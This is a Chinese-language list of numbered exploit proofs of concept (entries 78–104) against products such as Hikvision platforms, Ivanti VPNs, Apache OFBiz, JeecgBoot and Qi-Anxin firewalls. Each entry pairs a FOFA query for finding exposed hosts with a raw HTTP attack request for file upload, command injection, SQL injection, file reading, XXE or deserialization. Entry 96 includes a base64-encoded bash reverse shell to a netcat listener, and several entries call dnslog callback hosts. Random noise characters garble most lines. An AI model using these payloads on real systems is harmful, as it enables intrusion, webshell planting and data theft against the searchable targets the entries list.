Content-Disposition: form-data; name="Upload"

9 U. c0 T. W& H" }+ [Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
! F( u/ d: u8 k

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
+ v. p$ k' A4 K" G" IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 v# v0 Q  s% f) F% b: ], z' gConnection: close
Content-Length: 336
4 c8 {6 M% \) K7 B& X8 x; }Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
3 _* u# V7 s# Q/ ?
' K8 I( i; W, N% K" Y% DYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
8 @3 B* U9 p6 ?4 S' R7 X" K. V2 [Content-Disposition: form-data; name="target"

; ^: ?3 F( s( @4 \1 _3 c! g* f/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

" {: I0 C+ ]* d2 T* Q
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


; r; K6 z8 C& J79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
3 r, g9 o6 |' z+ g' \$ y+ WHost:IP
9 L5 u* [4 U6 F0 Q0 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
/ t: C1 `6 {# M6 A8 s; `  @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; o9 ]' v7 L6 F0 R' |& U, B. E# ?Accept-Encoding: gzip, deflate
- y. @! E' s# y0 T) AConnection: close
5 y/ M/ V: d, E9 v  G) JUpgrade-Insecure-Requests: 1

4 G) Q: B2 |( v! g( ?, {
( D+ L* e- B+ |3 U6 N) F80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
5 N! ?. b; h9 l& HPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ ^0 ?1 j. v6 x* q, h3 nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
6 b5 E* c, E/ P6 r( a
: Q+ P1 E4 u. z* U( Z/ p<% out.print("oessqeonylzaf");%>
6 W3 F: P- \& c$ j; O

GET /xykqmfxpoas.jsp HTTP/1.1
, d! v8 @& W% a7 f! THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

9 Y% Q1 B& G" O5 K6 G. X
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
: s0 K; k; w6 B/ T# BFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
- J/ n; e" M. }  y3 _- l3 Y3 J
8 M, ?  H3 |  u# G0 \6 p) H
  N; C% W$ p' }( Y  w# [7 w- _# e82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
% ~6 u; q! ~# R' Y" m1 l3 m! {5 kUser-Agent: Go-http-client/1.1
* h- Y5 w  _+ R( J: d- UContent-Length: 23
Accept-Encoding: gzip
Connection: close
) i# T& A$ N* N2 tContent-Type: application/x-www-form-urlencoded
7 t( `' j  b; _; T4 G; tReferer: BaseURL

z1=1&z2="|id;"&z3=bhost
2 @* R, d2 E3 z
& V7 |" }8 j2 o2 T
83. JeecgBoot testConnection 远程命令执行
: n  Y* c. w$ ?' F- h# XFOFA：title=="JeecgBoot 企业级低代码平台"
) d9 [: G3 d  e7 o

2 l0 W' K' l) p( J) mPOST /jmreport/testConnection HTTP/1.1
6 {: B. F/ _+ q5 ]! CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 b& X- o' Q3 NContent-Length: 8881
Accept-Encoding: gzip
4 Z/ P) |* W  }* x: N0 p3 MCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

4 a- {8 U; _6 s; w6 bPAYLOAD

: b, c8 }5 L; s* Q* t84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

8 N. Y3 x* y) i( m

) Y  Z: ~. ^) _( f" ?POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
  s2 H' S2 t7 R, fHost: 192.168.40.130:8080
" i. J0 R9 ?& F$ \User-Agent: curl/7.88.1
( c. w* u# Q* O4 h% `% Q7 dContent-Length: 156
% ~8 ^2 ?# f# Q; h' N: d( mAccept: */*
2 q% c; m+ \, a! V' |( J0 UConnection: close
( C& c0 U# B) V. hContent-Type: application/json
( _1 h7 \/ T; c- e( Z% mAccept-Encoding: gzip

$ Y9 ]) ?# F5 v. Z{
. O1 M2 k3 S/ n' K8 }1 T "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
0 o$ Q+ {* j( _8 k1 [  "type": "0"
}

* E0 w2 }: @, A7 _, Q3 e6 S
: Y1 i+ g1 y- ~. g; _  O4 u7 ~85. SysAid On-premise< 23.3.36远程代码执行
5 o" z: {5 X0 I8 d% _CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
$ H$ z' ]  }- D  K7 y. ZEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
. N7 P) @/ v* m" v1 @& N! R6 G/ nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& M6 K3 @8 _. E" RContent-Type: application/octet-stream
5 B+ ~3 ~. Y; |5 z. e& {% RAccept-Encoding: gzip
: ^$ u0 m4 t/ y- o' U" k
9 B: m9 ]& q; T0 y9 }% @PAYLOAD
+ [. P2 l( G% s6 V5 ]$ ]! O
( G9 B1 R8 z6 P+ |3 F7 h回显URL：http://x.x.x.x/userfiles/index.jsp

/ I- Q1 m) g) l8 {6 d86. 日本tosei自助洗衣机RCE
7 x3 z5 W  t: ^. x' `) ?( yFOFA：body="tosei_login_check.php"
0 L- L$ y2 u, {# w0 XPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
8 W7 H$ ~$ ~; [% f2 o$ A0 i* H, DUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
1 R+ S2 z* K0 }$ P; m% U4 L$ iConnection: close
7 E* X- u" T1 |" zContent-Length: 44
Accept: */*
! L( v( V" `4 TAccept-Encoding: gzip
Accept-Language: en
" ~- G' p/ m$ k9 X1 D- y' k# O/ jContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
. P6 y5 X' G5 d1 O$ z/ f

; |0 k3 v+ C) \3 ?2 x% G87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
6 h/ X2 d% y8 }6 LPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
8 Q2 O+ q8 \4 S& v2 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 w, s; [5 F( J! X2 q5 K4 |Connection: close
Content-Length: 198
* \7 b8 y: o* b4 g- JAccept-Encoding: gzip
2 e. B# \! j+ \% Q% g( ], tContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
' t: @' x2 l1 WContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
$ L" j' [% E+ Q
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
7 i1 x2 j6 i& N
$ |9 r: D& @5 J
/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
2 z! a5 c6 y; o( S: R5 D* dFOFA：title="明御安全网关"
" r7 x$ d: x; ^9 RGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ d. f2 H% C4 A8 m# q' ]4 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- _- y' A: P) Y/ y/ I( `* YConnection: close


/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
. m0 H3 d5 d9 n! J8 @FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
* [+ A" }" y$ v" pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
7 O- x& _' O4 i
option=2&GUID=-1'+union+select+111*222--+
/ F% [2 ?  G: X+ P& o

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
3 y$ _0 G. [. Y7 X1 |) fFOFA：icon_hash="-1830859634"
3 M+ h$ z4 _0 Y6 ~  P5 U9 cPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
; y; t# g. f) |5 ]- KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
/ T8 Q- g5 k9 j: rContent-Length: 51
+ Z& p7 s. z: q, W- OAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
0 n3 ]- c  E! |4 v& H+ YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; G) _, `# k& Y# N3 Y/ W$ DConnection: close
0 A, U" ?) M! v+ vContent-Type: application/x-www-form-urlencoded
  E% C, C& Z) PX-Requested-With: XMLHttpRequest

8 b4 A; s+ D4 t6 D* C# d5 Sjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
  p) v1 _4 B- L- X  E) o3 `% e

7 L- N" z9 [& n1 Q0 e91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
+ N" E* l& W2 JFOFA：title="综合安防管理平台"
8 a1 W6 M4 ]5 `/ TGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
$ B7 G! g8 P( k# S  |! FHost: your-ip
% d( i* X- K0 b' P! L+ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
" f) N) D) ]- W; C8 m' H3 e+ I4 jAccept: */*
Connection: keep-alive
. L& [- t+ w" ^2 L% A1 x8 h
: B& R4 c* d- V: o3 [0 `
& H0 V7 D- [1 J- t6 z
7 G4 J2 \7 J9 m5 D; H92. 海康威视运行管理中心session命令执行
Fastjson命令执行
! z' |/ k1 J4 k0 j, K5 p2 Hhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
# M, ~) ]( P8 u  l( K! kPOST /center/api/session HTTP/1.1
& N; H: O0 Y5 ~4 }; kHost:
- Y! v* }: E1 A" t8 N% v- ~Accept: application/json, text/plain, */*
3 b9 \6 B! h3 g# Y( z! ZAccept-Encoding: gzip, deflate
- ~1 s, b; R. O- VX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
0 _) B. ]- x# }7 n1 x  f; ^X-Language-Type: zh_CN
4 ]9 V+ U, D( Z2 a% P; ~' GTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD
8 P" b" A" [% ?1 q, l5 x

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
4 P, m# r; P2 P" _Host: x.x.x.x
6 `1 q* |! |/ p. s' g7 Q' h7 FContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
% \1 h7 B$ l1 I: R' o9 \% CContent-Disposition: form-data; name="MAX_FILE_SIZE"

8 a% @- F0 c0 P, i. w& Y, Z: H# W8 V9 i10000000
------WebKitFormBoundarykcbkgdfx
( c3 K) {/ m- p6 jContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

6 \! E: u% L/ f2 O- awagletqrkwrddkthtulxsqrphulnknxa
" V5 F% ~, J/ H, z9 _- l5 w------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
5 M! z$ f! `2 u1 L. H& _/ R3 X
obj_app_upfile
9 N" m* ?' R. i  N' L; }------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

+ a  |5 Q& O- W0 @% u0b9d6b1ab7479ab69d9f71b05e0e9445
, k1 V/ ^5 f, s- L- [------WebKitFormBoundarykcbkgdfx--
$ _% \' o  }" i

GET /attachements/xlskxknxa.txt HTTP/1.1
' f1 @: B. p, r0 eHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! O' o* C+ Y, J# v8 i4 K

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
, B5 u4 f, I, y# TFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
0 j1 k8 y8 B7 K! [: k2 q/ LPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
% [% y3 b0 i  a; r- @Content-Disposition: form-data; name="MAX_FILE_SIZE"
7 L7 h1 H7 [/ c2 y5 I, N: w  h
% v& Y! Q' H( u10000000
------WebKitFormBoundarybqvzqvmt
4 e7 F; [- {; F* l" uContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
$ a4 X% i- ]; Z- h: uContent-Type: text/plain

6 b7 `9 H+ @+ P3 Y7 ?4 {pxplitttsrjnyoafavcajwkvhxindhmu
+ v- n2 O8 ~9 l) F. \------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
% [1 h% n! b3 A$ F$ d" w! g$ U7 C
obj_app_upfile
3 y. B  y  h& L: I, B! B* m) Z9 g+ X------WebKitFormBoundarybqvzqvmt
; e' r/ l8 W' BContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
* p, a0 s- ]- O------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
) L# E0 q3 x! v8 {0 }, v( N) O% Y" QHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

2 v9 n/ M+ y1 Y9 x( Y& d
. t5 |2 N8 h" x: j+ e' {
9 @* s6 m3 s: Q3 C95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
: r- Y; e' q* J2 `( wFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
9 h/ ^" {1 z/ v0 X% DContent-Type: application/xml
Accept-Encoding: gzip
' V; G4 a5 ~6 y
<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
6 j: y9 ?- S% G' [      <value>
) E' F/ s& K3 t4 S$ [        <struct>
) V; c8 e+ {/ G5 @) o$ \( i5 N       <member>
' ^9 w/ T8 L* u; o* ^1 K, s          <name>test</name>
. k! S2 \, E0 Y1 W% V7 \          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
4 Q9 g) A( T& c! ~  d          </value>
        </member>
7 A  }9 C; a% C  m0 L      </struct>
      </value>
    </param>
+ [1 a" C+ y; i# H3 t1 k7 j    </params>
</methodCall>
5 C8 c+ k/ F. P

$ s0 z! i7 U% |/ R9 p, e! F) A用ysoserial生成payload
2 z* |$ T9 ?' ~java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
: u, p1 D% T+ wHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
3 G: c8 h, w0 {" ~* KContent-Length: 889
6 h" R3 w! c  K  m9 V/ p7 A. X  A" cContent-Type: application/xml
- B  E! O4 J% l1 c4 _# K  {Accept-Encoding: gzip

. o5 Y3 X% A2 K0 u/ UPAYLOAD

; z1 o" ^2 \; ], R; w! A6 J96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
& L8 m: e: F, ]  ^0 y9 C% KPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
9 z* {+ x2 S, r3 b# oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# ]: I' e% e3 Y4 n% r2 ]Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
/ }* f  ^' S3 a: G5 xContent-Length: 55

1 X& E0 Q+ s% T2 F; ]) S. egroovyProgram=throw+new+Exception('id'.execute().text);
  ?) B  |3 p" f
. h6 L# `1 J# H! b
& R. A7 \. s5 f3 \+ D反弹shell
0 a+ a; f* i8 o. k2 `* o在kali上启动一个监听
% F# ~: O2 r& k5 d& s4 z8 Tnc -lvp 7777
6 J1 ?* }1 E$ U- }
- d6 c4 Z5 h; ?7 `* GPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
/ G8 D( N4 `- J; yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
3 `2 T! p& B, G" ?- _1 f- ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
' G# i$ v1 N* I$ d
" U% X. U* Z8 e# Q/ zgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
7 [1 ]# A, l$ U3 `
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
* g6 O1 T* b3 Z3 x% ~" m( O6 L- aFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
3 ]1 s9 ~* F& ~* a4 O5 OHost: 192.168.40.130:8085
. w' Y8 r7 |% v: L( I9 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 U( x$ l5 T) O. zAccept-Encoding: gzip
Connection: close
5 J9 V( U+ U$ w* l, WCookie: rememberMe=PAYLOAD
9 L4 j2 p! G/ l# X$ d+ A0 `X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

; m" F& D! O, t/ ]$ i* Z
( ~# l& R  o) _$ v+ D4 b98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
9 g# M, W0 [/ v1 U: p) X/ CAccept-Encoding: gzip, deflate
# j9 B+ M7 |! y* N; E; W- D+ RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ }# I& h9 P2 cContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
& [  o- t  G2 ~1 t
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
  s: n; \2 ^7 h- U! \

99. Ncast盈可视高清智能录播系统busiFacade RCE
7 n6 Z# w- ?8 H; P* t. o7 Z1 }CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
% o9 E- @9 v4 ~Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ l* W0 }' H% o3 fConnection: close
4 P9 L3 f' S- a- j' ^/ r; VContent-Length: 154
2 }- k5 @6 s+ {! H1 O$ H. ^$ aAccept: */*
. e* u6 C/ h/ g7 }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
6 J: i& O" |5 [+ ^! J: eX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
+ Z/ X7 V4 s! }1 d

7 }+ C0 \' |6 M7 @100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
' Q+ P( M5 P8 {7 m. n$ ACVE-2024-0352
  w7 \0 e9 l# C  |& KFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
% E3 e" x+ U, I' z. ]6 AUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
: j# R2 p2 X3 W, R+ pContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
2 y/ s  L5 F0 M; G! A, ^
------WebKitFormBoundarygcflwtei
: i0 m3 f0 M% V; u  @/ bContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

! T7 C% r) I! f
7 B6 g# Y& P& Z. o4 I101. ivanti policy secure-22.6命令注入
CVE-2024-21887
; n4 W# t& O! }: S+ ^4 DFOFA：body="welcome.cgi?p=logo"
3 w1 `- G. o5 z1 X) `2 ]; xGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
! p8 f* r7 ?7 \& g* yUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% i* V6 E8 M. ~" D: FConnection: close
7 B/ l  z1 f, ]& E- OAccept-Encoding: gzip
$ \# z" }- C  h0 K

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
5 V+ X9 o) [$ A5 OCVE-2024-21893
2 b1 u" f  L0 hFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
( Q0 O% T1 W3 c7 E* s: QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
& z) Y2 E# \3 [Accept-Encoding: gzip

" N! G# @* p& u: W5 `<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
. k5 `6 q, J. n) n/ u% ]  t/ W- \9 G
4 W2 f/ W$ z3 d7 a  t: y5 r103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
, \  {/ d$ n& j0 |8 {) KFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
" n( x8 J0 d0 t- V2 l' pUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
4 \5 f" ], l# T1 R" z9 jContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
- F( G" r, M" h4 \8 S% s  M: y
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


. u' a( v' k! J# I& ]其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
  W, O/ O3 ~$ w: o<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
/ V- ~. E7 m- U% p0 Z7 s/ }

104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
